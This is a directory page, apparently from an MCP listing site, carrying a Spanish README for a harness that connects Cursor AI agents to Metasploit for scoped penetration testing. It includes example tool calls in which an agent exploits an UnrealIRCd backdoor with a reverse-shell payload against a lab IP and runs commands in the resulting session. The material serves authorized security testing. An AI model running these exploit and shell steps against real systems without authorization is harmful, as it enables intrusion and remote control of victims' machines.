msf-harness
Metasploit Cursor Harness
Arnés de pruebas de penetración agéntico que conecta agentes de IA de Cursor con el Metasploit Framework mediante MCP (Model Context Protocol). Proporciona acceso estructurado y restringido por alcance al RPC de Metasploit a través de 54 herramientas especializadas que abarcan reconocimiento, explotación, gestión de sesiones, post-explotación, pivoting, generación de payloads y operaciones de base de datos.
Diseñado para flujos de trabajo de laboratorio autorizados y pentest profesional con reglas de compromiso explícitas, aplicación de políticas en el servidor, registro de auditoría y metodología de fases/puertas alineada con PTES.
Por qué este arnés
Capacidad | Este arnés | msfmcpd oficial | GH05TCREW/MetasploitMCP |
Número de herramientas | 54 | ~23 | ~15 |
ROE en el servidor (CIDR, módulo, sesión) | Sí | No | No |
Hooks de Cursor (puertas de alcance, puntuación de riesgo, evidencia) | 18 scripts | No | No |
Fases/puertas de flujo de trabajo PTES | 7 fases, 57 habilidades | No | No |
Ejecución de exploits centrada en consola | Sí | No | Sí |
asyncio.to_thread (no bloqueante) | Sí | Sí | No |
Autorización de dominio | Sí (fail-closed) | No | No |
Detección automática de LHOST | Sí (multiplataforma) | No | No |
Puerta de verificación antes de explotar | Aplicada | No | No |
Registro de auditoría + estado del mundo | Sí | No | No |
Habilidades de pentest autocontenidas | 57 habilidades en 5 niveles | No | No |
Related MCP server: MSFConsole MCP Server
Características
54 herramientas MCP que cubren reconocimiento, explotación, sesiones, operaciones de Meterpreter, pivoting, payloads, handlers, workspaces, consola, escrituras en base de datos y utilidades de laboratorio
Exploits centrados en consola con captura de salida síncrona, detección de sesiones y análisis de fallos
Aplicación de ROE en el servidor: alcance CIDR, autorización de dominio, límites de ancho CIDR, límites de sesiones, bloqueo de DoS, puerta de verificación antes de explotar
18 scripts de hook de Cursor: validación de alcance, puntuación de riesgo (0-100), detección de duplicados, registro de evidencia, seguimiento del estado del mundo, redacción de credenciales
57 habilidades de agente autocontenidas: flujo de trabajo PTES, playbooks específicos de dominio (web, AD, nube, contenedores, móvil, binario, evasión, nivel de servicio, clase de vulnerabilidad)
5 subagentes especializados: orquestador, reconocimiento, explotación, post-explotación, revisor
Soporte de plataformas
Plataforma | Estado | Notas |
Windows + WSL2 + Kali | Principal | Pipeline de hooks completo, soporte de laboratorio Docker |
Linux nativo / Kali | Soportado | Requiere |
macOS + MSF remoto | Experimental | El servidor MCP funciona; los hooks necesitan |
Requisitos previos
Python 3.10+
Metasploit Framework (en WSL/Kali o Linux nativo)
IDE Cursor con soporte MCP
PowerShell Core (
pwsh) para el pipeline de hooksObjetivos autorizados definidos en
scope/scope-master.txt
Inicio rápido
1. Clonar e instalar
git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"2. Configurar credenciales
cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)3. Iniciar Metasploit RPC
Windows (WSL):
.\scripts\start-msfrpcd.ps1Linux / Kali (nativo):
./scripts/start-msfrpcd.sh4. Habilitar MCP en Cursor
cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project pathActiva msf-harness en Configuración de Cursor > MCP.
5. Verificar la configuración
python scripts/doctor.py # Check all prerequisites
python scripts/validate-mcp.py # Test RPC connectivityLuego, en el chat de Cursor, ejecuta msf_status para confirmar la conexión MCP.
6. Objetivos de laboratorio (opcional)
Consulta docs/LAB.md para el laboratorio Docker integrado de Metasploitable2.
Para HackTheBox, TryHackMe, OSCP o tus propios objetivos, consulta docs/BYO-TARGETS.md.
Para instrucciones detalladas de configuración, consulta docs/SETUP.md.
O ejecuta el bootstrap de un solo comando:
.\scripts\bootstrap.ps1Tu primer exploit
Una vez completada la configuración y que msf_status funcione en el chat de Cursor, prueba esta demostración de extremo a extremo contra el laboratorio Docker:
1. Inicia los objetivos del laboratorio:
.\scripts\start-lab-targets.ps12. En el chat de Cursor, pide al agente que explote el laboratorio:
Escanea el objetivo del laboratorio en 10.255.255.254 puerto 9667 y explota la puerta trasera de UnrealIRCd usando el compromiso lab-default
El agente:
Ejecutará
msf_module_checkpara verificar que el objetivo es vulnerable (requerido por ROE)Llamará a
msf_get_lab_networkpara auto-detectar LHOSTEjecutará
msf_run_exploitconexploit/unix/irc/unreal_ircd_3281_backdoorLlamará a
msf_list_active_sessionspara confirmar la shellUsará
msf_send_session_commandpara ejecutar comandos en el objetivo
O hazlo paso a paso con llamadas individuales a herramientas MCP:
msf_status # Verify RPC connection
msf_get_lab_network # Get LHOST and port map
msf_module_check(...) # Probe for vulnerability
msf_run_exploit(...) # Pop a shell
msf_send_session_command(command="id") # Run commands on targetConsulta docs/LAB.md para el mapa de puertos completo y notas específicas de exploits.
Arquitectura
Cursor Agent
|-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
|-- Skills (.cursor/skills/: 57 pentest playbooks)
|-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
|-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
|
v
msf-harness MCP Server (Python, FastMCP, stdio transport)
|-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
|-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
|-- Policy/ROE (server-side CIDR, domain, module, session validation)
|-- Console engine (synchronous module execution with output capture)
|
v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
|
v
msfdb (PostgreSQL)Herramientas MCP (54 en total)
Solo lectura (no requieren engagement_id)
Herramienta | Propósito |
| Comprobar conectividad RPC, versión, número de sesiones |
| Buscar módulos por palabra clave, CVE o nombre |
| Opciones del módulo, objetivos, referencias, rango |
| Obtener opciones configurables para un módulo |
| Obtener estadísticas de módulos en ejecución |
| Listar módulos por tipo con filtro opcional |
| Consultar hosts descubiertos desde msfdb |
| Consultar servicios descubiertos (puertos, protocolos) |
| Consultar registros de vulnerabilidades |
| Consultar anotaciones/notas |
| Consultar credenciales recopiladas |
| Consultar botín/archivos recopilados |
| Listar sesiones actuales con tipo y objetivo |
| Obtener información detallada de una sesión |
| Listar handlers activos/trabajos en segundo plano |
| Obtener detalles de un trabajo específico |
| Buscar payloads disponibles por nombre/plataforma/arquitectura |
| Listar payloads compatibles con un módulo dado |
| Listar workspaces de la base de datos |
| Comprobar conectividad de la base de datos e información del driver |
| Listar instancias de consola RPC activas |
| Obtener configuración del laboratorio (puertos Docker, LHOST) |
| Listar rutas activas para pivoting de sesiones |
Acción (requieren engagement_id)
Herramienta | Propósito |
| Sonda de vulnerabilidad segura (no explotable) |
| Consultar resultados de un trabajo de módulo asíncrono por UUID |
| Ejecutar módulo de exploit (modo consola o trabajo RPC, tiempo de espera configurable) |
| Ejecutar módulo auxiliar (escáner, fuzzer; modo consola opcional) |
| Ejecutar módulo de post-explotación en una sesión (modo consola opcional) |
| Ejecutar comando en shell/meterpreter activo |
| Terminar una sesión |
| Sondeo de nuevas sesiones después de exploit/handler |
| Mejorar shell a Meterpreter |
| Obtener SO/arquitectura/nombre de host de sesión Meterpreter |
| Obtener identidad de usuario actual de sesión Meterpreter |
| Listar procesos en ejecución en sesión Meterpreter |
| Descargar archivo del objetivo a evidence/ |
| Subir archivo desde evidence/ al objetivo (en sandbox) |
| Ejecutar script de Meterpreter en la sesión |
| Iniciar listener multi/handler |
| Detener un trabajo en segundo plano |
| Detener todos los trabajos en segundo plano para liberar puertos |
| Generar archivo de payload (guardado en evidence/) |
| Crear workspace de base de datos |
| Cambiar workspace activo |
| Eliminar workspace de base de datos |
| Importar datos de escaneo (nmap XML, Nessus, etc.) |
| Ejecutar nmap y auto-importar resultados |
| Ejecutar comando arbitrario de msfconsole vía RPC |
| Añadir ruta a través de sesión para pivoting |
| Eliminar una ruta |
| Auto-añadir rutas vía post/multi/manage/autoroute |
| Reportar host manualmente a la base de datos |
| Almacenar credencial descubierta en la base de datos |
| Añadir nota/anotación a la base de datos |
Flujo de trabajo de ejemplo
# 1. Verify connection
msf_status()
# 2. Scan target ports
msf_run_auxiliary_module(
engagement_id="lab-default",
module_name="auxiliary/scanner/portscan/tcp",
options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)
# 3. Check what's open
msf_service_info(host="10.255.255.254")
# 4. Check before exploit (required by ROE)
msf_module_check(
engagement_id="lab-default",
module_type="exploit",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)
# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
engagement_id="lab-default",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
payload="generic/shell_reverse_tcp",
payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
run_check_first=True
)Modelo de seguridad
ROE del lado del servidor (
msf_harness/mcp/policy/roe.py): valida objetivos contra CIDRs de compromiso, bloquea módulos prohibidos, aplica límites de sesión, limita el ancho de escaneo CIDR, requiere verificación antes de explotar, valida dominios (fail-closed)Hooks de Cursor (
.cursor/hooks/): compuertas de alcance en cada comando de shell y llamada MCP, puntuación de riesgo (0-100 con escalada CRÍTICA), detección de duplicados, registro de auditoría enlogs/command-ledger.jsonl, guardado automático de evidencia, redacción de credencialesAnálisis de comandos de consola:
msf_console_executeextrae y valida RHOSTS, rutas de módulos y objetivos db_nmap de comandos sin procesarRestricciones de rutas de archivo:
msf_db_importymsf_generate_payloadrestringidos a los directoriosevidence/yengagements/Módulos DoS (
auxiliary/dos/*) bloqueados incondicionalmenteSaneamiento de entrada: argumentos nmap en lista blanca, claves de opción validadas, valores de consola con escape de comillas
Úselo solo en sistemas que esté autorizado a probar.
Solución de problemas
Síntoma | Solución |
| Ejecute |
El servidor MCP no aparece en Cursor | Asegúrese de que |
"MSF_PASSWORD no está configurado" | Configúrelo en |
"Objetivo fuera de alcance" o denegación de ROE | Agregue la IP/CIDR del objetivo a |
La verificación del módulo falla con "no compatible" | Algunos módulos carecen de un método |
Sin sesión después de la explotación | Verifique que LHOST sea correcto ( |
Errores de hook en la salida de Cursor | Verifique que |
Errores de importación de Python | Ejecute |
Ejecute python scripts/doctor.py para una verificación completa de requisitos previos.
Desarrollo
pip install -e ".[mcp,dev]"
python -m pytest tests/ -v # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1 # 120 hook tests
python scripts/validate-mcp.py # RPC connectivityConsulte CONTRIBUTING.md para la configuración de desarrollo y las pautas de PR.
Estructura de directorios
Ruta | Propósito |
| Paquete de servidor MCP de Python |
| Implementaciones de herramientas MCP (12 módulos, 54 herramientas) |
| Cliente RPC de Metasploit con reconexión automática |
| Aplicación de ROE (CIDR, dominio, módulo, sesión, compuerta de explotación) |
| CIDRs y dominios objetivo autorizados |
| Configuraciones de ROE por compromiso y estado del flujo de trabajo |
| Evidencia capturada (ignorada por git) |
| Registros de auditoría de hooks y registro de comandos (ignorados por git) |
| Compuertas de seguridad de PowerShell Core (18 scripts) |
| Playbooks de flujo de trabajo de agentes (57 habilidades) |
| Definiciones de subagentes personalizados (5 agentes) |
| Guía de agentes siempre activa (3 reglas + AGENTS.md) |
| Scripts de utilidad (iniciar RPC, crear compromiso, verificación de salud, validar MCP) |
| Suites de pruebas de Pytest y hooks |
| Guía de configuración, guía de laboratorio, guía de objetivos BYO |
Licencia
Agradecimientos
Rapid7 Metasploit Framework y el
msfmcpdoficialGH05TCREW/MetasploitMCP por los patrones de ejecución de consola
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.14Apache 2.0
- AlicenseNot gradedqualityDmaintenanceEnables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.8MIT
- -licenseNot gradedqualityNot gradedmaintenanceEnables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.2
- AlicenseBqualityDmaintenanceEnables interaction with Metasploit Framework for authorized security testing, including exploit searches, payload management, network scanning with nmap, and database operations for penetration testing workflows.9MIT
Related MCP Connectors
MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.
Free public MCP for AI agents — 193 tools, 44 workflows. No API key.
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'
If you have feedback or need assistance with the MCP directory API, please join our Discord server